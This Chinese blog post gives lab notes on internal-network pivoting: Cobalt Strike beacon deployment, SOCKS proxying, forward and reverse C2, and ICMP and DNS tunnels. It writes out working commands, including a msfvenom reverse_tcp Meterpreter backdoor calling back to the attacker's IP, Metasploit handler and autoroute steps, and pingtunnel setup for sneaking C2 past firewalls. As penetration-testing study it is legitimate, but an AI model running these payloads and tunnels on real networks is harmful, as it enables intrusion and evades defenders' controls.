boxmoe_header_banner_img

梦中的登神殿,天才的乱葬岗

加载中

文章导读

内网攻防(非域)


avatar
RootReapers 2026年3月18日 239

https://www.bilibili.com/video/BV123yAYMEwb?spm_id_from=333.788.player.switch&vd_source=4dd6f203fdf03441b35b62f6d017e75f&p=147

建议结合视频看

内网代理

内网攻防的主要难点:

网络通讯(网络不可达)


分为代理和隧道两种方法


只有网络通了才能进行信息收集


内网常见词汇:不可达,不出网


不出网的两种情况:

1.真的没网(装个电脑,没插网卡/没插网线/没连wifi)

2.安全监控软件限制(正常上网没问题,但是检测到攻击特征会掐断其网络通信)

这是一个内网渗透的经典拓扑

解析一下:

kali:我们的攻击机

第一台靶机:windows 2016 (web)

根据名字可以知道,它是一台web服务器,运行着一个网站

有两个IP:192.168.139.222和192.168.2.11

是我们的第一个目标


网站服务器的最基本要求就是:能被任何地方访问到

也就是外网能够访问它

它和攻击机的IP类似

前面都是192.168.139


说明它们是在同一个C段的

同一个C段的设备可以正常通信


web服务器还有一个IP,是192.168.2.11

它和下一台机器windows 2016 (SQL)

是在同一个C段的


windows 2016 (SQL)也有两个IP

192.168.2.22和192.168.3.11

192.168.2.22用于和Web交互

192.168.3.11用于和下一台服务器交互


SQL是数据库服务器,数据库出于安全原因,在实际中是不可能让外网直接访问的,不然的话,如果存在弱口令,那么攻击者直接爆破成功然后进入数据库

所以SQL服务器是不能通向外网的


但是又不能完全封锁,禁止一切连接,web要从SQL里面拿数据,完全封锁的话web也拿不了了


所以web和SQL是可以正常交互的


理清一下逻辑

攻击机和web正常交互

SQL和web正常交互

那攻击机和SQL呢?

不能正常交互


刚说的,web可以通外网,让所有人访问

但是SQL不能通外网

假设攻击机和web不是同一局域网,而是正常的企业架构:

web在公网,攻击机可以访问到它

比如我的博客,没错就是现在正在看的这个


博客可以在各地访问

那么一台攻击机也是可以访问它的


如果存在漏洞的话,攻击也是可以正常完成的


而当攻击者拿下博客(也就是web服务器)后

需要更进一步,拿下SQL服务器时


问题来了:

web能够被攻击机直接访问

但是SQL不行,SQL不通向外网


攻击机就算知道密码和账号,也访问不了SQL


有没有什么好办法?

这就是内网渗透的第一点:解决通信问题


当然可以把工具直接传到已经被攻陷的web服务器上,然后靠web服务器攻击SQL


但是这样太麻烦了,一个工具少说几百M,一个工具箱更是高达十几个G

真实场景中,动静稍微大一点,马上就被安全监控设备发现并且告警,然后开始被蓝队暴打


但是如果有代理的话

攻击机可以直接将web作为跳板,访问到SQL

代理这一概念在基础的时候就知道了

burpsuite抓包

抓包是监听8080端口

并且设置一个代理,让所有http/s数据走这个端口

比如:代理工具设置代理地址为127.0.0.1:8080

burpsuite监听127.0.0.1:8080


这是最简单的本地代理


所有数据的交互都要先经过8080端口

由burpsuite决定是放行还是丢弃


客户端->数据包->代理->服务器

服务器->代理->数据包->客户端


大概逻辑是这样的

所有的网络流量都要走代理再到客户端

客户端所有网络流量要出去也得经过代理


假如将web作为kali和SQL之间的代理

kali所有的流量都经过web再到SQL

SQL所有的流量也都经过web再到kali


web起到了一个转发的作用

在这种情况下,kali和SQL的通信问题就解决了

因为SQL收到的网络流量,是由web发过来的

kali发给web,然后web再发给SQL


这样一来,网络问题就成功解决,kali能直接对SQL发起攻击


如果还不明白,可以参考神奇上网小猫(cl*)**

选择一个节点,然后就可以访问GitHub

代理的协议分为三种:

http

https

socks

前两种就不解释了,都知道


socks,简单理解就是中转站的一种

http只能处理http流量

但是socks可以处理一切

比如反弹shell时的tcp流量,websockets流量,ssh协议流量等

一般配代理都会有http,https和socket(或socks)这三种

保险起见都配一下,如果流量监控严密,配socket就行

代理如何配置

这里的场景是已经通过漏洞拿下一台机子(比如蚁剑已经连接上了)

怎么拿下的就不说了,很多方法,这里是演示代理如何搭建


演示:

CS部署

这里涉及到经典C2框架CobaltStrike(CS)的部署以及启动

天狐后渗透第一个就是

运行,可以发现需要我们指定一些信息


因为这是客户端,服务端还没启动

右键打开程序文件夹

找到teamserver

复制到kali虚拟机里面解压


进入目录

直接启动会报permission denied拒绝请求

要提升文件权限

chmod +x ./teamserver

chmod +x ./TeamServerImage


赋予运行权限后输入./teamserver kali的IP 自定义的连接密码

回车即可


客户端这样填(用户名和别名随便,个人习惯,密码就是刚才服务端设置的sudo,主机是服务端kali的IP)

连接进入平台

先创建个监听器,用于等待目标连接

这里的payload有很多种

没有特殊情况直接选http就行

把kali的IP添加为回连地址


其他默认


保存即可启动监听器


接下来创建木马(有效载荷)

选这个就行

指定监听器


点击生成,选好存放路径

可以用自己电脑作为目标,运行测试一下(记得关杀毒软件,不然报毒)


双击是没有反应的

但是这里已经出现了我的物理机

这就表示成功上线,目标已经被成功植入木马

右键即可进行一系列操作,这里以提权为例,单击权限提升

选择提权方式,运行即可

运行成功后,面板会多出一个会话

第二个就是成功提权后的


选中第一个会话,在底下的输入框输入shell whoami查看当前用户

可以看到是rootreapers

Windows最高权限是system


再看看第二个会话

好像没提权成功,为什么捏(Windows11又不是吃素的,摆着好几年前的漏洞不修)



回到正题,CobaltStrike是自带代理功能的,也就是说控制跳板机之后

可以直接将跳板机作为代理节点

代理架设步骤

开始演示,这里是我的虚拟机配置,自定义了两个IP段(88和112)

然后在物理机设置里面禁用这两张网卡(VMnet1和VMnet2)

否则物理机是可以直接ping通的,那么架设代理就没意义了

这是第一台靶机,它有一个通向外网的10.107.200.79的IP地址和一个

通向内网的192.168.112.131

这是我们攻击机的IP

它和靶机1都在200段内,可以正常通信

回顾一下刚开始的拓扑

靶机1能通外网和内网,也就是跳板机


现在模拟上线靶机1

生成的木马直接拖进去运行,成功上线

接下来架设代理

右键,选择socks代理

选择socks4,记住端口号


Windows常用的代理工具:proxifier


配置方法

配置servers,edit编辑

填写地址和端口,注意!地址填的是攻击机的(C2服务端)!不是靶机的!

选择socks4

check检测

第一次check失败的话,先设置test settings

设置成如上

再次check,check通过即可

然后是代理规则,哪些工具走代理,走哪个代理服务器


add一个就行,把action改成刚才的代理服务器

这里我偷了个懒,web和SQL上面我都搭建pikachu靶场,能访问到就说明代理成功



先访问web的

10.107.200.79

访问成功

不挂代理试试访问SQL的

SQL机的IP是192.168.22.132

很明显访问不到

代理开启

物理机成功访问到内网


上线分为正向上线和反向上线

一般反向上线用的比较多

这主要是因为防火墙的策略

一般来说,防火墙对入站管理严格

出站管理松散


入站:外部访问

出站:访问外部


用户访问网站,在防火墙看来是入站

需要分析是否为攻击并且判断是否阻拦

这是正向上线,由攻击机去连接靶机


而服务器向外访问,在防火墙看来是出站

出站理由很多,系统更新,工具安装等等

如果出站也防死的话,业务就会受到一定的影响

所以出站策略会比较松散


因此可以反向上线,让服务器主动连接攻击机



接下来需要解决一个问题:

跳板机web,可以出网

所以CS可以直接上线


那要上线SQL怎么办?

SQL不出网,只能和web通信

这里使用到CS正向上线的功能


正向上线:在被控靶机上开启一个端口监听

以这个监听生成C2

内网其他靶机(SQL)执行后

直接连接到被控靶机上,然后通过被控靶机再与攻击机交互

创建一个正向监听器(beacon tcp)

生成stageless


指定刚才的监听器

生成后放到SQL机上执行

执行后,SQL上会启动一个4444端口的监听


接下来就是连接了

怎么连?

只有web能和SQL通信

肯定是让web去连

底下输入框输入connect 192.168.22.132(SQL机子的IP)


即可完成正向上线

看拓扑图

第一台蓝色的是web,反向从防火墙出去然后上线

第二台红色的是SQL,由web主动去连接它



MetasploitFrameWork(msf)上线操作

输入msfconsole启动

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.139.128 LPORT=3333 -f exe -o msf.exe

** 使用如上命令生成反向C2后门**

-p指定payload为reverse_tcp(反向tcp连接)

LHOST指定地址(攻击机的)

LPORT指定端口(攻击机的)

-f指定输出类型为exe

-o指定输出文件名为msf.exe


生成一个反向连接到192.168.139.128的3333端口的后门


生成后开启监听

msfconsole环境下输入:

use exploit/multi/handler

设置监听类型,和上面的payload一样

set payload windows/meterpreter/reverse_tcp

执行show options可以查看需要设置哪些选项

required处标记为yes的就是必须要设置的

还差一个LHOST(监听地址)

set LHOST 192.168.139.128或者0.0.0.0


监听端口也得改成3333

set LPORT 3333

输入exploit,开始监听

执行后门,正式上线

执行sessions Id(对应编号)

切换到当前会话

执行run autoroute -p

获取当前路由关系

发现没有路由关系

执行run post/multi/manage/autoroute

自动添加路由


添加路由,目的是为了能让msf和内网进行通信


msf能和内网通信后,再通过其他模块建立socks代理

让攻击机其他程序也能和内网通信


执行background跳出会话


执行use auxiliary/server/socks_proxy

使用socks代理模块


show options查看配置

srvhost:代理地址

srvport:代理端口

version:版本


set srvhost 攻击机IP

set srvport 空闲端口

然后run

接下来就可以在proxifier连接代理了


但是proxifier是Windows的

Linux怎么代理?

推荐工具:proxychains4

如何配置

/etc/proxychains4.conf是proxychains4的配置文件,打开,翻到最下面就能看到

如上配置

代理协议 IP 端口

比如

socks5 10.107.200.43 7979

编辑好,保存退出


接下来如果需要使用代理

直接在命令前面加上proxychains4即可

例如proxychains4 curl http://192.168.1.1

表示挂代理访问192.168.1.1


如何配置正向上线

换一下payload再生成即可

msfvenom -p windows/meterpreter/bind_tcp LPORT=6666 -f exe -o msf.exe
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set rhost 正向连接的目标IP
set lport 6666
run

如上配置即可正向上线

上线后跟刚才一样,添加路由,配置代理即可



防火墙策略与正反向上线差别

防火墙对入站严格,出站松散


架构1思路:

转发上线

跳板机可以任意正反向

上线之后配置转发上线功能

监听填写跳板机地址

使用该监听器生成后门

即可达成SQL反向上线



架构2思路:

跳板机反向上线攻击机

然后SQL正向上线攻击机即可


实现:

跳板机使用反向后门

上线后,攻击机设置一个正向监听器,使用正向后门

在SQL执行正向后门

然后在跳板机上执行connect SQL的IP 端口

成功上线


双向架构

能否正常控制两台

跳板机反向上线到web

没问题

在跳板机配置转发上线,SQL也能反向上线


看起来没问题

这里有个比较任意弄混的点

SQL反向到跳板机

对于跳板机来说,是什么?

外来的连接


跳板机上开了监听,等着外部连接

外部向跳板机连接,相当于入站

入站被防火墙检测,死掉了


思路1:

玩不起,关防火墙

随便关一个

变成啥了?

架构1


关防火墙的前提:

取得管理员权限(提权)


2:32:15开始是内网域的情况,暂时跳过(我不会域)


icmp隧道搭建


场景分析:

防火墙目前出入站都严格限制了

入站只允许外部对其网站进行访问


出站只允许使用ping命令,检测目标IP是否存活

或者是判断当前机器是否通外网


ping命令的本质就是发送icmp数据包

对方服务器收到后,也得返回一个相同大小的数据包

以此进行连通性判断


常见的隧道

** 学隧道前先搞清楚:**

1.不是有互联网才叫出网

2.C2常见上线采用的协议(HTTP/S,DNS,TCP,DNS,SMB)

3.常见协议层的出网判断


常用的隧道技术

利用各种隧道技术,以防火墙允许的协议,绕过防火墙的封锁,实现访问被封锁的目标网络

网络层:IPv6隧道,ICMP隧道

传输层:TCP隧道,UDP隧道,常规端口转发

应用层:ssh隧道,HTTP/S隧道,dns隧道



隧道协议的差别:

ICMP隧道可以用作C2上线以及代理后的内网信息收集

ssh隧道,由于C2框架不支持该协议,所以只能作为代理



隧道策略理解

A ping B 不通

B ping A 能通


那么,是谁的icmp能够出网

A 向外发送请求 但是失败

B 向外发送请求 并且A接收随后回复


明显是B可以出网

并且可以接收A返回的包


实验开始

实验环境:单台Windows2016系统虚拟机

实验配置:防火墙严格设置出入站,web入,icmp出

这样就造成了影响:正常http/tcp协议的C2无法上线

入站规则

出站规则

生成普通后门尝试上线

执行但是不上线(防火墙拦截了反向后门的http出站)

靶机能和外网ping,也能被其他机子ping通

可以建立icmp隧道,将C2流量封装到里面,随着ping一起出


icmp隧道的搭建:使用工具pingtunnel

将攻击机(CS的teamserver)作为服务端

执行./pingtunnel -type server


控制端执行

pingtunnel -type client -l :6666 -s 192.168.139.141 -t 192.168.139.141:7777 -tcp 1 -noprint 1 -nolog 1

命令解析

-type client指定类型为客户端

-l 6666 指定监听本地所有网卡的6666端口

-s 指定服务端IP

-t 目标地址和端口

-tcp 为1表示启用tcp转成icmp

-noprint -nolog 都是表示不输出日志


整体工作流程

客户端在本地 6666 端口监听

当有程序连接本地 6666 端口时,数据会被封装成 ICMP 包

通过 ICMP 隧道发送到 192.168.139.141 的 pingtunnel 服务器

服务器解包后将数据转发到目标地址 192.168.139.141:7777


配置两个监听器

第一个:监听127.0.0.1的6666端口

第二个:监听192.168.139.141的7777端口


以第一个监听器去生成后门


解释:

第一个监听器生成的后门启动后

会往本地的6666端口发起连接

而pingtunnel配置了

当客户端6666端口端口有连接时,将连接信息封装成icmp包

然后转发到192.168.139.141:7777处理


而7777是第二个监听器

检测到连接请求,自然就上线成功了


dns隧道搭建

情况:靶机只放行dns协议

如果只是使用dns进行上线的话,是不需要工具的(CS原生支持dns监听)


配置步骤

需要一台公网服务器作为teamserver

以及一个域名


配置dns解析记录

这里以我自己的域名为例子

域名r00treapers.top

配置一条A类型的记录

子域名为cs.r00treapers.top

解析到我的公网IP


再配置一条NS记录

子域名为NS1.r00treapers.top

解析到cs.r00treapers.top


然后再配置一条NS记录

子域名为NS2.r00treapers.top

解析到cs.r00treapers.top


为什么配两条NS?

一条不行换一条,备用


生成后门的时候

记得配置一个dns监听器

上面的dns地址填写两条NS记录

DNS地址(Stager)填写指向公网IP的那个A记录域名


DNS上线会特别缓慢

可以通过两条命令进行加速

checkin

mode dns-txt

在最下面输入执行



SMB隧道搭建


什么情况下利用smb

防火墙放行80或其他端口,但是打不下来,无法getshell

此时可以借助已知的smb账号以及密码进行横向移动从而上线C2

如何获取账号密码:密码喷洒/弱口令爆破


密码喷洒:拿下一台机器时,获取它的各种服务密码,将它们作为字典

去爆破同一网络下,其他电脑的各种服务


利用暂时先鸽了,不会域


内网穿透

这是icmp隧道搭建时的图

我们通过icmp隧道上线了web

那么SQL能上线吗

但是怎么上线?


首先,出站只允许icmp

也就是说,web去访问SQL的服务,是被阻止的

比如我在SQL搭建了一个网站,现在web要去访问

访问算是出站

出站只允许icmp,访问web是http

显然被阻止


连访问都做不到,更别提上线了


那应该怎么成功上线?

这就是内网穿透该考虑的事情了

能不能够将SQL机器上面的网站端口(80)

转发到web上面的8080


这里用一个我个人的开发经历来理解内网穿透,可能效果会更好


我之前没有服务器,在自己电脑的80端口搭建了一个wordpresss

但是只有局域网可以访问,公网是没办法的


然后我问ai,了解到了内网穿透这项技术

简单来说就是:通过一个有公网的服务器作为服务端

我在官网注册一个账号,配置一下域名啥的

myweb.frp.cn

frp.cn是内网穿透的服务提供商的域名

我的电脑安装对应的客户端软件

客户端上输入我的内网IP和端口

然后启动

接下来访问myweb.frp.cn

就能直接访问到我在内网部署的wordpress了


原理:

服务提供商A监听一个公网端口7000

当我启动客户端时,客户端会和监听的端口建立连接

客户端和服务端能直接通信


myweb.frp.cn是我自定义的域名

解析到服务提供商的7000端口

当有人访问myweb.frp.cn时

服务端收到请求,转交给客户端的80端口(也就是wordpress)


这样就能借助一个公网端口,访问到内网的资产了


回到刚才的拓扑

要访问SQL上的网站

它没有公网IP

假设web有公网IP(因为它是跳板机,可以和外网交互,如果没有公网IP,那和一台能正常上网的电脑有啥区别,都能上网,但是外面访问不到它上面的网站)


要素有了,一台公网,一台内网

有公网的跳板机被控制了

能不能够在上面架设服务端,然后在SQL上架设客户端,实现内网穿透

让攻击机也能访问到SQL


(暂时先写到这,简单涉猎一下,准备ciscn半决赛,再看看云安全,不然跳板机遇到docker逃逸或者k8s就真废了)

祝zerotrace和>w<在ciscn能够闯入决赛!

本文所有技术仅限于在授权环境或自建实验环境中学习使用,请勿用于非法用途



评论(4)

查看评论列表
评论头像
卡罗特 2026年03月18日
看懂了,假的
评论头像
zzzzz 2026年03月19日

此评论仅作者可见

评论头像
zzzzz 2026年03月19日

此评论仅作者可见

评论头像
RootReapers 博主 2026年03月31日
怎么可能,文章是自己写的,但是网站是用框架搭建的

发表评论

表情 颜文字
插入代码